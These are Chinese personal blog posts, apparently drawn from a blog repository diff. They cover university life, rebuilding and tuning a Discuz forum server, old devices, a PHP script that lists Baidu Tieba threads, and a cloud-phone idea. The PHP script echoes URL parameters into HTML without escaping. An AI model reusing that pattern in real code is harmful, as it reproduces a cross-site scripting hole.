在大学经过了一个学期,也大概的能感受到现实社会的一些残酷,但是也有些比较有意思的地方。比如说我在刚开学就被当作羊被拔了羊毛,某些人就是乘着新生不熟悉的时候坑我们,这也恰恰证明了生活的不易,无论是我们,还是他们。
具体被坑的……比如花了50CNY买了张没钱的公交卡啊还有办了宣传时29CNY/mo但是实际上是59CNY/mo的宽带之类的。也许我以前可能被坑过不过这几次坑是真的大坑……
在刚开学的军训我表现的不怎么好,我以为这可能会影响别人对我的第一印象,不过事实上嘛……其实也没人记得我,毕竟大家都穿着同样的衣服,尽管军训大家可能不会忘记,但是其中的细节也基本上没人追究了吧。
在开学时参加系中比较推荐的协会也算是一个走的不错的一步,首先我通过我的大忽悠忽悠会长给我的面试成绩一个满分,虽然对于同班的人这样也并没有什么意义,不过这样算是对系里的一种广撒网了,可以让一些人认识我。
虽然我是挺想出名,不过出名不是我的目的,这只是一个过程,开始的轻微的努力可以让之后少走弯路,这也算是一种可持续发展了吧。
另外,关于开学更多的事情,可以在[开学总结](/2019/09/20/start.html)里看到。
(P.S.本来这篇文章是打算在昨天写完的,结果晚上熄灯断电,只写到这里,所以只好在最后一天(真正的年终)写完了wwww
## 在学校的生活
### 平时的生活
在学校平时的生活还可以,除了上课和高中不同,以及在学校可以正大光明的玩手机之类的,平时的心情和高中是差不多的……其实也不应该这么说,毕竟高中基本上所有的时间都是有规划的,但是在大学没有。而且大一的课很少,所以感觉上还是和高中有很大区别的。
不过正是因为是这样悠闲的生活才更容易导致事情积压在一起因为很多时候都不会记得要干什么只有到时间了才有那种着急的感觉。所以有些人会说自己很忙只是因为确实在某一时间会突然很忙就如同我的高中老师所说一个作业给365天那也只会在第364天去写一样不到时间就没有驱动力啊……
在学校一天通常只有2-3节课有时候甚至一天只有一节课所以空闲的时间是很多的。不过大多数情况在这空闲的时间也很难想着去干些什么实事很多时候都在玩了……明明计划想做很多东西但是即使一天都闲下来也不会想着去做他们。不过有的时候做这些东西还是看心情通常在有那种想要完成它的感觉时就会有驱动力去做它了。
### 周末的生活
到了周末那更是什么事情也没有这时候很难会想着做些什么只会在床上一直睡觉以至于睡得都要倒时差了说不定我现在去美国都不会有倒时差的不适了呢23333。
当然一直这么睡也不行,起来以后有的时候也会去和同学一起出去转转,一开始我们都想着去旅游景点看看,不过去旅游景点这种事貌似并不是我们喜欢的,只是想着反正是闲的时候,所以去旅游景点吧,但是旅游景点确实没什么意思,而且大多数地方还要门票,本来就没什么意思的事情又增加了门票的门槛,那就更加不愿意去了。
所以从我们转完美术馆、博物馆、科技馆以及图书馆之后,我们就开始去像正常人一样去转比较繁华的地方了。
像我是在成都上学所以到周末就会想着去天府广场和春熙路这样的地方那里确实是很繁华的地方不过那里的东西并不适合我们这些没多少钱的人去转比如IFS那里也就能在里面转一圈看看一堆从来没见过的品牌顺便去看看那标志性的在楼上趴着的大熊猫其他也没什么有意思的地方所以之后我们只好在学校附近的商场玩了……
不过去商场也没什么好玩的地方,一般我们去商场也就是吃个饭或者逛逛超市之类的,再也就没什么可以干的事情,所以大多数情况我还是会在宿舍里一直睡着(lol)
## 在学校的学习
大一的科目不算多,也不是很难,不过我高中时学习并不怎么样,数学和英语都很烂 ~~(Suck)~~ ,所以大学的数学和英语对我来说也很难。
不过其余专业课相比来说就简单很多了至少我还有一定的计算机基础嘛虽然之前一直都没学过Python不过至少编程的基本思想我还是有的所以相比来说上手还是比较快的。前端中HTML都还是比较简单的包括JS也是编程范畴的都不算很难也就CSS让我比较伤脑筋虽然总体来说CSS的结构没什么复杂的但是实际表现的效果是真的很难搞因为首先我不知道用哪个属性另外属性名也不是很好记而且实际产生的效果也可能和预期的不一样……也就这里相比较麻烦一些。
其他公共课……反正都很麻烦吧,像什么体育啦,人文素养啦,还有什么心理健康之类的,都是很麻烦的事情,尤其我的体育极其烂,所以这就更不好搞了……
我们的辅导员一直跟我们强调学长会和我们说不挂科的大学是不完美的大学,然后跟我们说这是错的,不要挂科啥的,不过我至今没见到哪个学长会这么说……当然我也确实不希望挂科,首先我不喜欢麻烦的事情,挂了一次后面重修很废时间,而且重修也是要钱的,这真的是很麻烦……所以我在开始的时候就尽可能的多赚平时分数,免得到时候考试又考不过之类的……另外还要多准备几手,比如找找漏洞啊,以及之前的出名也是一些准备……真的是很麻烦啊!
## Misc
在大学也可以搞点有意思的东西,比如办银行卡(?)除了已经办下来的天依卡外我还办了一张招行的2233卡虽然之前被作为电话卡的[22卡](/2019/08/05/blilblil.html)坑了……不过那是运营商的错……招行的福利还是挺多的比如每天用微信或支付宝转188出来就可以抽到至少0.5CNY的红包,而且是那种可以直接提现的,比支付宝的红包好多了,另外就是新户的一堆福利,比如送了两条毛巾,一个杯子,还有一堆话费之类的……感觉起来还是不错的。
另外就是被支付宝忽悠着试着搞基金,基金这种东西确实很刺激,刚买下来就突然涨了好几块,不过我知道这种东西我玩不起,一周之后我就把钱提了出来,在这期间它涨了不少,但是也跌了不少,所以这么玩下来其实也基本上没赚多少,所以像买基金还有股票还是应该谨慎啊。
# 2020年的打算
我也不打算计划的很远,首先至少把大一的课程全部考过吧,然后另外就是学驾照,我希望能在这个寒假就把科目三考完,不过这还是挺难的,本来科目三就不简单,要记的东西很多,这也是我不擅长的……
对于我的5年计划我又想再加点东西了23333除了[重构](/2019/07/01/mabbs.html)、[邮件系统](/2019/07/02/encmail.html)和[游戏](/2019/12/17/game.html)的计划外我的Python老师又给了我两个新的想法一个是前后端分离的CMS另外一个是类似于CodeTank的游戏。
虽然现在已经有BaaS的服务搞CMS已经没什么太大的意义了不过想想搞这么一个东西好像也不是很难CMS就是一个用户的权限加上文件的管理嘛所以也就是只要提供一个API这样我就只用写一些CRUD的东西就OK啦
另外老师想做的游戏貌似是塔防游戏大概就是提供一堆API可以定义攻击的人和防御的塔然后插张地图进去就可以搞一个有Python教学功能的游戏了。之前我觉得CodeTank其实做的挺好的不知道怎么就凉了……不过这个游戏我觉得应该还是有点意思的所以可以在毕业之前试着把这个东西做出来。
其他嘛……总之还是有机遇就抓吧还有3年半这点时间足够我抓住一个机遇了吧。

@ -0,0 +1,44 @@
---
layout: post
title: Mayx的运维笔记
tags: [运维, 笔记]
---
新年新Bug<!--more-->
# 开端
前天,我维护的[花火学园](https://www.say-huahuo.com)宕机了,由于在上面安了乱七八糟的各种各样的东西,所以我以为它只是日常卡机,所以我就随手重启了一下。
重启完之后它凉了不知道为什么数据库连不上了……于是我开始问另外一个同样可以登录服务器的人问他有没有动过数据库结果听起来貌似他好几个月都没登服务器了。于是我慌了试着手动启动MySQL的服务然而黑色的界面里冷冰冰的`Job for mysql.service failed`告诉我事情没有那么简单。我按照错误的提示查看了详细信息,然而里面也只是简单的记录了一句`mysql.service: Main process exited, code=exited, status=1/FAILURE`这样通俗而又简单的一句话……这和没说有什么区别……谁都知道它启动失败了……
没办法,这时候只能向网站的上一代运维求助了 ~~(向大佬低头)~~ 经过大佬不知道什么样的操作终于找到了真正的错误详细信息看起来好像是数据库中的用户表出了问题。于是大佬重置了用户表总算是勉强把MySQL服务重新启动了。
不过虽然这时候再做一些简单的配置,应该差不多就可以重新上线了,不过考虑了一下,为了让以后不会再出现乱七八糟的事,我打算把网站重新迁移一遍,让系统环境做一个大更新!
# 重建的过程
首先重新租一台服务器吧之前用的是Ubuntu的服务器现在一年过去了也该考虑考虑稳定性的问题了于是我把系统换成了CentOS。
然后为了之后配置起来方便一些我依然决定使用服务器商已经配置好的LEMP应用这样建好以后我也不用再考虑安装服务器软件的问题了。
在新的服务器部署的过程中,我回到原来的服务器,开始打包网站的数据库和文件,做好向新的服务器转移的准备。
没多久,新的服务器就部署好了,于是我直接一个`scp`就把所有的文件传到了新的服务器上。不得不说服务器直接传输文件的速度是真的快几个GiB的文件几分钟就传完了。顺便感叹一下花火学园的数据居然也都好几个GiB了想当年我接手的时候还不到2GiB。
然后就是导入数据库和解压网站文件以及配置Nginx完成以后网站不出所料的可以正常使用了。
然后就是设置DNS之类乱七八糟的事以及Cloudflare的CDN之类的不过还好之前设置过防火墙白名单的配置这次也方便了不少。
不过这还没完,既然换了新的服务器,而这一年里我对服务器的了解也更深了一些,至少应该做一些优化吧。
所以呢我就先把BBR给装上了搞太多东西也很麻烦所以我就直接用了[一键脚本](https://github.com/teddysun/across/blob/master/bbr.sh)。顺便又搞了Swap毕竟服务器只有1GiB的内存是应该多搞点内存虽然可能速度会降低但还是求稳嘛而且服务器好像是SSD的硬盘应该影响不大。
到这里,基础的环境部分我就自认为搞好了。
# 之后的优化
到了第二天我又心血来潮想再搞点别的东西来优化服务器首先我的目标是把对内的TCP/IP sockets全部换成UNIX domain sockets用UNIX domain sockets可以减少不少系统开销所以我首先对PHP-FPM开刀。
其实改起来也很简单就是把PHP-FPM的配置文件中的`listen`项从IP地址换成文件然后把Nginx中的`fastcgi_pass`改成带`unix:`前缀的文件就OK了。我改完之后真就以为OK了但是现实中的`502 Bad Gateway`打破了我的幻想,看来没那么简单……
后来我仔细看了一下PHP-FPM文件的注释发现了一句警告
```
; WARNING: If you switch to a unix socket, you have to grant your webserver user
; access to that socket by setting listen.acl_users to the webserver user.
```
哦哦,原来是要设置`listen.acl_users`……然后我把nginx加了进去重启之后它就好了。
之后我打算优化一下MySQL不过我也不是很清楚MySQL中怎么设置UNIX domain sockets本来是打算就此放过不过我听说好像数据库连接中用`127.0.0.1`要比`localhost`要好,因为少了一次解析。我听着感觉好像有那么点道理,然后就去把网站配置的数据库地址给改了。
不过后来发现查了一下发现好像MySQL对`localhost`地址有特殊规定在MySQL中如果使用`localhost`那么连接就会走UNIX domain sockets而使用`127.0.0.1`就会和平常一样走TCP/IP sockets。
看完之后我感觉有那么点不爽啊然后就回去又把我的数据库地址改了回去不仅如此我还打算关掉3306端口后来查了一下发现在配置文件中加入`skip-networking`就可以了。
之后我查看了一下端口除了443端口和我的SSH的端口外还有一个奇怪的25端口看着感觉很不爽查了一下是postfix的端口然后我一个不爽就把postfix随手卸载掉了。
再往后我看了看我的Nginx日志发现大小有那么点不对劲才建的服务器日志已经有400-500MiB了虽然花火学园平时流量不算小但也不至于这么夸张吧后来我发现我没有过滤静态资源的日志之后又修改了一下配置文件心里就舒服多了😁。
于是,花火学园的优化就到此结束。
# 后记
我其实应该仔细看看日志的向莫名其妙出现的BUG说不定是攻击 ~~被害妄想症23333~~ 后来我翻了翻日志好像也没这个倾向。
另外我确实不应该把正在开发中的项目和主站放在同一个服务器,至少鸡蛋也不应该放到同一个篮子里面嘛……这次我打算做好主站的所有配置,保证它的正常运行。

@ -0,0 +1,30 @@
---
layout: post
title: Mayx的运维笔记 - 应用优化
tags: [运维, 笔记, 优化]
---
优化?能不负优化就够好了!<!--more-->
# 继续优化!
接着[上一篇](/2020/01/05/devops.html)的重建我在上一次做了一些系统环境上的优化不过论坛中用的Discuz系统也算是一个成熟的应用了 ~~(可惜再成熟也不会自己写代码😂)~~ 所以这次我打算在Discuz这个应用上做优化。
不过毕竟以我的PHP水平还做不到直接在源代码上进行修改所以我打算使用Discuz本身有的优化功能上进行优化。
# 关于图片处理库的优化
在Discuz的后台面板中我首先看到的关于性能优化方面的地方就是图片处理库 ~~(尽管它不是最先出现的)~~。看旁边的介绍中说默认的GD库似乎更加消耗系统资源而相比之下ImageMagick库会好一些既然它都这么说了那我肯定是毫不犹豫的选择了ImageMagick库嘛。
当然事实上我也确实是这么做的然而这个操作貌似发生了一些不可预料的问题。修改了这个选项后我开始逛论坛但是我发现论坛中不少帖子的图片缩略图显示出现了问题这时候我感觉不大对劲首先我确定了一下Vultr中的LEMP肯定是有装ImageMagick库的那问题肯定不是我PHP环境的问题这时候我怀疑是数据库保存的东西可能有问题。不过这个问题就超出了我的解决范围没办法我只好又把选项还原回去了😓反正它这么多年也都过来了应该影响没多大吧。
# 关于缓存的优化
在之前的花火学园中我也用了Discuz的缓存引擎是MemCache。事实上在LEMP默认是不提供MemCache的扩展反倒是有Redis的扩展。不过我看着Redis那红色的图标不知道为什么心里总有一种抵触感后来经过了解Redis似乎要比MemCache的性能好的多我也就半信半疑的打算装一下试试。
不过事实上我并不怎么相信这种缓存能提升多少性能只是看着网上说着各种加速到0.005s让人非常的心动。毕竟我的服务器内存并不大总共也就1个G另外还加了Swap。如果缓存占用的内存很多分配来分配去又回到Swap所在的硬盘那我优化岂不是失去了意义不过心里总是被别人的博客搞的很羡慕所以我开始研究怎么样搞Redis缓存。
## 历经艰辛的Redis之旅
Redis并不是很难安装一句`yum install redis`就搞定了,主要难的地方还是在于配置。
我知道这时候只要在Discuz的配置文件里加一句`$_config['memory']['redis']['server'] = '127.0.0.1';`然后再以默认的方式启动Redis服务就OK了。但是既然之前我说过在内部的服务中不应该使用TCP/IP sockets那我肯定是不能允许它就用默认的配置工作。
在Redis中倒是有支持UNIX domain sockets的选项也支持关闭监听TCP/IP Port。我按照它上面的说明配置了然后信心满满的在配置文件中设定好了。然而现实告诉我没那么简单我写了一个测试脚本它返回了一个`No such file or directory`我反复确认路径保证自己没有手残到把路径写错然后上网搜这个错误查了半天也没有什么有建设性的结果……我甚至把权限都设置为777把php-fpm加到了redis的组里都没有任何用处另外我也用redis-cli确定了那个文件确实是一个socket文件。这时候我实在是无计可施了我打算放弃就这样屈服于TCP/IP sockets然而我的强迫症和其他博客里中说的10ms不允许我放弃没办法我只好仔细思考了。
我觉得这个问题应该还是在于权限只是这个问题过于奇妙让我无法理解。按照默认的配置那个socket文件在/tmp/文件夹下因为PHP在上传文件的时候也用到了这个文件夹所以我也没怎么怀疑它。但是我的mysql同样也用了UNIX domain sockets只是文件在/run/下它也没出问题啊我想了想也许把这个socket文件放到/run/文件夹下就可以正常工作了。没想到还真是这个问题,随着我把配置文件中的路径修改了,它也能正常工作了……我真的是无言以对……
在这之后我把redis服务设置成了开机自启动然后这段优化就到此为止了。
# 其他的杂事
其他也没什么特别多可以优化的地方,后来我查了一下,发现花火学园的请求在那天出现问题的时候请求量突然涨了一倍,也许是这个原因把之前的花火学园逼停了,所以优化还是挺重要的嘛。
其他方面就是对于Discuz权限的一些调整不知道为什么总有些人要在试贴区水贴真的是无法理解它们的操作另外就是连发贴的问题我感觉估计有人用发帖机搞我们的论坛所以又提高一点发帖的门槛。
其实这次也没什么大的改动就是这个Redis搞的我真是当场爆炸看来我还是要提高一下我的姿势水平啊23333。

@ -0,0 +1,43 @@
---
layout: post
title: 过去与未来的科技变化
tags: [科技]
---
回忆了一下,总感觉最近的科技没有什么变化啊……<!--more-->
# 起因
最近由于什么冠状病毒之类的事也不能出门,只能在家里宅着。不过我并不讨厌在家里,网络中有那么多事情可以看,计划有那么多没有实行,我怎么会担心无聊的事呢?那些在网络中天天说在家有一种像狗一样想往外跑的冲动 ~~那可能他们是真的狗23333~~ 那可能他们日常的生活中也没什么乐趣吧。
不过天天抱着手机打游戏还是看视频也不太合适总想干些什么事看着家里人翻出了几十年前的相片突然想起来家里还有一台大约有20年左右历史的电脑正好在这次找相片的时候有了找这台电脑的思路结果当然也是找到了。那既然想到找旧电脑不如把旧手机也一起翻出了看看吧。
# 试用过去的设备
## 那台古老的电脑
在翻出来的所有设备中可能生产日期最早的就是那台古老的电脑了吧我看了一下版权信息都是2001年的。那台电脑的型号是华硕M1300处理器是Pentium III有128MiB的运行内存和20GB的硬盘。这个配置可以说是相当的古老了它甚至还配备了一个外置的软盘驱动器。
这台笔记本的接口也看起来都很古老除了一个USB1.1的接口和VGA接口在现在还能见到外其他的接口我几乎都不认识。我只能看到有一堆针口的应该是一个并行接口另外还有一个看起来有点像电路板上的BTB接口一样的接口也不知道是干什么的……除此之外我还认识一个1394接口以及电话线和网线接口不过现在的我都找不到除了使用USB接口以外的设备了不用说那些奇奇怪怪的并口想想连MicroUSB接口都马上就要淘汰了1394接口哪还能见得到啊。
除了接口以外还有些奇奇怪怪的插槽比如说PCMCIA插槽我查了一下这个东西就相当于给笔记本电脑用的PCI-E接口在以前都认为是笔记本不可缺少的东西可惜现在的笔记本电脑都趋向于轻薄化占掉一大堆空间的PCMCIA插槽自然是没有了活路。
另外就是光驱,现在好多电脑上甚至连光驱都没有了……为的就是让电脑更加轻薄……这也算是科技的进步吧……
其他像红外线设备之类的我也没用过,所以也就不在这里多说什么了。
尽管这台电脑如此之旧但是一个电子设备的寿命远超常人想象它本来预装的是Windows98的系统不过让它运行WindowsXP也是绰绰有余。按下开机键后电脑就如同一架即将起飞的螺旋桨飞机一般呜呜的响了起来。不过开机速度还不错我感觉不到15s就启动到桌面了。不愧是WindowsXP还是一如既往的经典。
我在这台电脑上发现了一个看起来是5年前的[日记](/2015/02/23/diary.html),感觉还是挺有纪念意义的,于是就随手上传到了博客上。
另外这台电脑上没有无线网卡上网是个很困难的事情不过我在网上找了一个tetherxp.inf的配置文件插上手机倒是也勉强能用。不过这个WindowsXP上带的IE6也真的是彻底脱离了时代很多网页都打不开因为WindowsXP只支持TLS1.0以下的加密协议。也正是这个原因所以我的博客在兼容性上兼容的是IE8。
虽然它看起来脱离了时代但是毕竟作为那时候的生产力工具办个公还是没有问题的上面的Office2003依然可以正常使用。过了将近20年绝大多数的办公人员依然使用传统的Office办公包括学校在内PPT仍然是旧版的.ppt格式而不是.pptx格式。说不定学校的课件仍然是十几年前的课件从来没有更新过。不过给学生教的东西嘛倒是也没什么可以更新的所以用着有历史意义的课件也是能理解的。
## 从直板机到智能机
我看了看翻出来的手机一共有7部没有一部是旗舰机……应该说还有些是山寨机不过也很正常毕竟以前的手机比较贵嘛而且工资也不高不像现在几乎所有人都不会买低端机型大多数人都使用的是旗舰机。
在这堆手机里我看年代最早的是Nokia 2626这个手机的充电口不是标准的充电口不过没关系我可以直接给手机电池充电。这部手机是2007年上市的也不知道是什么原因这部手机没有摄像头。这部手机唯一还比较有意思也就只有自带的类似于3D弹球的游戏。其他方面也没有什么更多有意思的地方了在搜索引擎上搜索可以找到这个手机的更多信息。
除了上面所说的直板机还有一个翻盖机叫做步步高I508。即使作为音乐手机它播放音乐的水平还是比不上我现在仅仅是能听个响的手机。不过毕竟不是智能手机能做到这样已经很不错了。
本来还想搞个滑盖机不过剩下的手机基本上都是智能机了……智能机即使很老也因为使用的是安卓系统也让我感受不到它的古老。在这堆手机里最老的是海信HS-T830系统是安卓2.3.5。貌似是充话费送的,当时我用这个手机可是干了不少事,具体的事情可以在[这里](/2019/02/01/history.html#linux-shell%E6%97%B6%E6%9C%9F)看到。
其他的手机就是一堆山寨机,什么优思还是什么酷派,全是一堆杂牌子,也就没什么好说的了。
## 正在写博客的旧电脑
目前我正在写博客的电脑是Dell D430看起来是2008年上市的。配置还可以处理器是Core 2 Duo有2GiB的运行内存和120GB的硬盘预装的是WindowsXP勉勉强强能带起来Windows7。
虽然Windows7前几天停止了维护不过既然WindowsXP都能正常使用Windows7有何不可呢这台电脑基本上和现在的电脑差不多了可惜还是没有HDMI的接口。不过自带无线网卡还是挺不错的至少正常上网没有什么问题2GiB的内存安一个Google Chrome还是绰绰有余的所以我现在在这个上面写博客也丝毫没有问题。
另外我在这个电脑上发现了一个东西它让我又一次的感受到了SEO的重要性它的名字叫做pkmnEMU貌似是以前下的据说是在暗网上的游戏我在某搜索引擎搜索这个关键词时结果搜到了一本小说看起来是一个丝毫不担心版权问题的科幻小说偏偏我就喜欢这类的于是很遗憾的我就入坑了😂……SEO……真的是太重要了……
# 对于未来设备的看法
从上面所说的设备来看,我感觉现在的科技似乎发展的没有那么快了。也许是期望过高,现在的设备变化并不大,唯一变化的就是更好的性能,更优秀的程序和更先进的应用模式。但是本质没有变,电脑还是那个电脑,手机还是那个手机。也许是厂家的兼容性让我误认为科技没有发展,又也许是某些厂家的垄断性让其他新的东西没有生产的机会。总之,现在科技的进步让我感觉就是挤牙膏,只有纵向缓慢的发展,没有横向大范围的跃进。
变化的总是一些平常人看不出来的地方虽然像生物计算机和量子计算机仍然没有商业化但是处理器的结构貌似已经和原来不一样了。尽管都是X86或X64以及ARM的架构但是也许实现方式不一样了呢。不过具体到底有没有进步我真的是看不出来只希望这些厂家厚积薄发能让我感觉到质的变化吧。
未来的设备我无法想象可能真的不再在硬件上做进步像现在大多数公司都更愿意在软件上进行改进像什么云计算之类的也就是一些新的概念不过基础没有变软件不过是在原有的基础上加东西这倒也不是不能理解毕竟要考虑到兼容性不能为了新的东西就不顾旧的东西。像HTTP/3它就是为了兼容性才用了UDP协议作为底层。不过令我感到糟糕的是DoT/DoH之所以使用UDP作为DNS协议的底层不就是为了快速嘛结果它还来一个在TCP上加密那样延迟怎么下的来
像现在出现的5G网络也是不可思议现在大多数家庭都达不到千兆网络甚至许多网站服务器带宽也达不到千兆5G到千兆网络有什么意义在大多数时候需要用千兆的时候用光纤它不好吗需要无线用Wifi6它不好吗我实在是很难想到5G的实际用途。不过未来也很难预测6G如果是运行在卫星上那当然是真的有意义但是5G的发展目前我实在是想不明白不过既然那么多专家都对5G抱有信心那就看看它能怎么样吧。
不过这又让我回想起区块链了,前几个月区块链火了,仅仅是因为领导人说区块链很重要……不过几个月过去了我依然没看到这个区块链有什么应用。
我对未来还是抱有希望的,之所以我觉得现在发展变慢了,也许是我太着急了,再过几年吧,如果真的有质的变化,那么以后再回来看这篇文章也许就会感到人类真的还是有些能力的,但是如果没有发展,那我就看看我还能等到什么时候吧!
P.S.今天是[Github Archive Program](https://archiveprogram.github.com/)的截止日期,我之前写了[一篇文章](/2019/11/18/archive.html)介绍它。希望过了这个截止日期后Github能把我的博客收录到GitHub Arctic Code Vault里这样我的博客说不定千年以后还有人能看到呢23333

@ -0,0 +1,54 @@
---
layout: post
title: 如何不使用贴吧App查看贴吧
tags: [贴吧, PHP]
---
为自己手机的最后一片净土而战(ง •_•)ง<!--more-->
# 起因
由于某些原因,我还是很想上百度贴吧看看的。虽然一些大公司很流氓,但也正因为他们是大公司,所以积累的信息才更多……
一年前,我因为使用百度搜索时打不开搜索内容,所以不得不[使用了一些办法](/2019/05/12/baidu.html)来解决这个问题。不过看起来百度也知道自己这么做是在砸自家招牌,所以后来这个问题百度貌似他们自己解决了。
而现在呢我又因为某些原因需要使用百度贴吧当然安装贴吧App就是在侮辱我的手机。一般来说遇到这个问题只要用桌面版的贴吧就好了但是很遗憾的是我用的浏览器是基于WebView的Firefox Rocket不支持更改UA……既然如此我只好运用我编程的技能解决这个问题了。
# 解决方案
在正常情况下用手机看贴吧的贴子是看不到全部内容的只能看到前两楼当然这样的贴吧就是废物要想看剩下的内容就需要下载贴吧App了。不过以前贴吧有一个极简版虽然很简陋但是也够用了。然而很糟糕的是百度他们不允许极简版列出贴子的标题了如果用极简版看贴吧的话是看不到贴子的列表的。
不过如果知道贴子的ID貌似还是能正常打开的所以我们只需要获得到贴子的列表和ID就OK了。
经过我的研究,只要在`http://tieba.baidu.com/mo/q-----1----/m?kz=`后面加上贴子的ID就能看到贴子的全部内容只是这个貌似不能发帖不过我也不需要这个就是了。
于是我参考了以前[Iwara Viewer](/2019/04/13/iwara.html)的代码,写出了最终的代码。
# 代码
```php
<?php
if (isset($_GET["kw"])) {
if (!isset($_GET["pn"])) {
$_GET["pn"] = 1;
}
$url = 'https://tieba.baidu.com/f?kw='.iconv("utf-8","gb2312",$_GET["kw"]).'&pn='.($_GET["pn"]-1)*50;
$str = file_get_contents($url);
$preg='/<a rel="noreferrer" href="\/p\/(.*?)" title="(.*?)" target="_blank" class="j_th_tit ">/is';
preg_match_all($preg,$str,$match);//在$str中搜索匹配所有符合$preg加入$match中
echo "<title>Mayx Tieba Viewer</title><h1>Mayx Tieba Viewer</h1><hr />";
if ($http_response_header[0] != "HTTP/1.0 200 OK"){
echo "<b>Warning</b>:It's Not Tieba Name<br>";
}
for($i=0;$i<count($match[0]);$i++)//
{
echo "<a href=\"http://tieba.baidu.com/mo/q-----1----/m?kz=".$match[1][$i]."\">".$match[2][$i]."</a><br>";
}
echo "<hr><a href=\"?pn=".($_GET["pn"] + 1)."&kw=".$_GET["kw"]."\" >Next Page</a>";
} else {
echo '<title>Mayx Tieba Viewer</title><h1>Mayx Tieba Viewer</h1><hr><form action="" method="get">Please Input Tieba Name:<input type="text" name="kw" required><input type="submit" value="Submit"></form>';
}
```
虽然说用JavaScript貌似也可以做到可惜我学艺不精只好用PHP解决了。
# 演示
<https://yuri.gear.host/tiebaview.php>
# 后记
P.S.这个东西是专门为了手机设计的,所以电脑完全没必要使用这个看帖子。
另外就是希望百度做个人吧……HTML肯定是能实现相应功能的非要人下载App虽然我也知道是为了利益但是这真的是太恶心了……另外……知乎也一样太恶心最终一定会流失掉用户的。
# 真相
我不知道的是很多的小程序上也有贴吧,像微信上也有,白做了😂……算了,就当练手+氵一篇了23333

@ -0,0 +1,38 @@
---
layout: post
title: 关于对未来手机的想象
tags: [未来, 手机]
---
我听说洗澡的时候思维最发散(笑)<!--more-->
# 起因
前两天小米10发布了看着那最高将近6000CNY的手机我沉默了……
昨天我在洗澡的时候正好就在想关于手机的事手机越来越贵看起来似乎成为了趋势当然对于小米10Pro来说它的技术是应该值那样的价钱。但是我觉得这不应该是未来手机的发展未来的手机绝对不是将越来越多的东西堆到一个砖头大的小盒子里于是在我洗澡的时候就回想起了以前对未来设备的想象。
# 对手机与性能的看法
因为以前做过[Telnet BBS](https://github.com/Mabbs/Mabbs)所以我对Telnet与当时的历史了解的也比较深。我听说以前的电脑算力十分的差当人们需要计算一些比较复杂的东西就会通过Telnet连接到算力更强的电脑上去计算那些东西。但是随着现在个人电脑的计算能力越来越强以及对于安全性的需要Telnet成为了历史的记忆。
像我的服务器才1h1g而现在买到的电脑甚至都可以是几十核真的是不能比……不过对于手机来说配置再高的手机运算能力也完全比不过电脑毕竟功耗在那里放着电脑里可以搞一个巨大的风扇或者是一套复杂的水冷系统。但是手机主要还是便携性搞一堆复杂的散热系统也不现实就更不用说供电的问题了。
让手机有着更好的性能从这个角度来看似乎是没有意义的,更好的性能要么更耗电,要么就用更好的生产工艺与设计,然而这样会更贵……所以我觉得手机向着更好的性能发展是不合理的发展趋势。
综上所述,我觉得可以把手机的算力设计到很低,这样无论从耗电发热还是从成本来说都很低。然后让手机去连接运算能力更强的服务器,在那个上面去运行需要用到运算能力的程序,这样我们就可以去掉手机上所有的散热设备,以及各种各样的附件,用以增大电池的空间,或者让手机更薄。
我之所以这样想主要还有一个原因那就是旧手机的问题。我有一部5年前的华为麦芒4它的CPU是骁龙616的算力十分垃圾被淘汰是应该的。但是它的屏幕是1080P的屏幕和我目前使用的红米K20Pro的屏幕像素密度差不多虽然材质不一样。即使到现在大多数的旗舰机也都使用的是1080P的屏幕。既然如此这个屏幕还是完好无损且同样更得上时代的情况下仅仅是因为处理器过时了就被时代淘汰了不是显得浪费吗
# 未来的手机:云手机
所以我想了一种新的手机设计方案,那就是云手机。虽然云手机的理念提出了很长时间,但是不知道为什么出的都是为电脑工作的云手机,而不是真正为手机服务的云手机。或者说仅仅做为单独的应用使用的云手机,比如云存储还是什么云服务啥的……总而言之,目前的云手机完全没有融入使用者的生活,仅仅是作为一种辅助。
如果说可以制造一种手机,主要的成本全部在屏幕和电池上,然后这个手机在没有联网时唯一能做的就是打电话,而联网时连接到远程服务器上就可以像正常的手机一样上网聊天打游戏,所有的操作全部由服务器进行运算,然后通过远程桌面的协议在手机上进行表达。
现在的远程桌面协议已经很多了像什么VNC、RDP还有什么SPICE所以说我觉得从技术上来说服务器负责运行程序而手机只负责控制与显示这样手机也不再耗电可能充一次可以用个两三天在打游戏时也不再发烫和卡顿网络原因除外而且也可以根据自己的需要得到相应的配置价格也会更加便宜。
## 设计内容
1. 关于服务器的配置
现在的虚拟化技术也非常成熟了什么弹性计算之类的也做的很不错了。像大多数时候当人们不再使用手机的时候手机事实上是在空载状态的最多就是聊天信息需要随时到达。那么大多数情况我们的手机可能只需要一核CPU就可以满足需要对于ARM的CPU一核的运行成本应该很低吧而在人们打游戏的时候需要的更多核服务器也可以想提供多少就能提供多少吧而且这个还能挂机。那么我们就可以进行定价比如手机平时使用一核突发性使用四核这个成本也没多高1天1CNY应该也不亏吧或者根据实际使用计算价格一年下来可能也就花个400CNY左右吧这也不算贵嘛正常买一部高性能手机也要花2000-3000CNY吧但是实际用个2-3年也就淘汰了嘛。
2. 关于手机的设计
现在的手机主要成本屏幕占的应该也不算太多换个屏幕也就300-400CNY左右吧我觉得主要成本应该还是在主板上。但是如果说这个主板除了联网打电话加个定位和WiFi顺便来个5MP能扫码的后摄应该也没多贵吧200CNY总能拿下吧想拍照为啥不买微单呢电池就更不用说了200CNY买个4000mAh的电池应该轻轻松松吧700CNY出一个超长待机屏幕又大又清晰的手机即使对于山寨机来说都是轻轻松松吧700CNY的手机如果说加上每年400CNY的云手机费用性能能和目前4000CNY的手机相比那我觉得还是挺划算的吧
最终成本也不高,消费者也能负担的起,然后服务商也能持续从消费者那里拿钱,岂不美哉?
# 附加的优点
我们也不一定只提供Android系统同样如果有必要也可以提供Windows系统顺便卖个没有运算能力的平板和电脑盒子系统可以互相相互连接在平板上既可以操作手机的系统随时也可以操作电脑的系统两个系统硬盘可以相互访问也就没必要再导来导去的了。毕竟这时候手机、平板、电脑都成为了真正意义的终端一切服务都在服务器上完成。
还有一个优点这时候终端的网速将不再重要重要的是与服务器连接的稳定性服务器本身的带宽自然是超级大毕竟连的都是光纤延迟也极其的小实际的延迟在于终端操作与服务器的延迟上不过我觉得随着现在网络的发展家里的延迟由WiFi6去缩小家外的延迟由5G去缩小最终一定能得到与原生一般的操作体验。
# 我的计划
如果说在我大三的时候这样的手机还没有出现在市场上我就有了创业的冲动突然理解了为什么大学生想出去创业想办法去拉众筹、投资与贷款然后看看自己能不能搞到人脉去和华强北的大佬们一起研发出这样的手机23333
如果真的能造出这样的手机以及这样的服务,我觉得一定会有市场的。

@ -0,0 +1,31 @@
---
layout: post
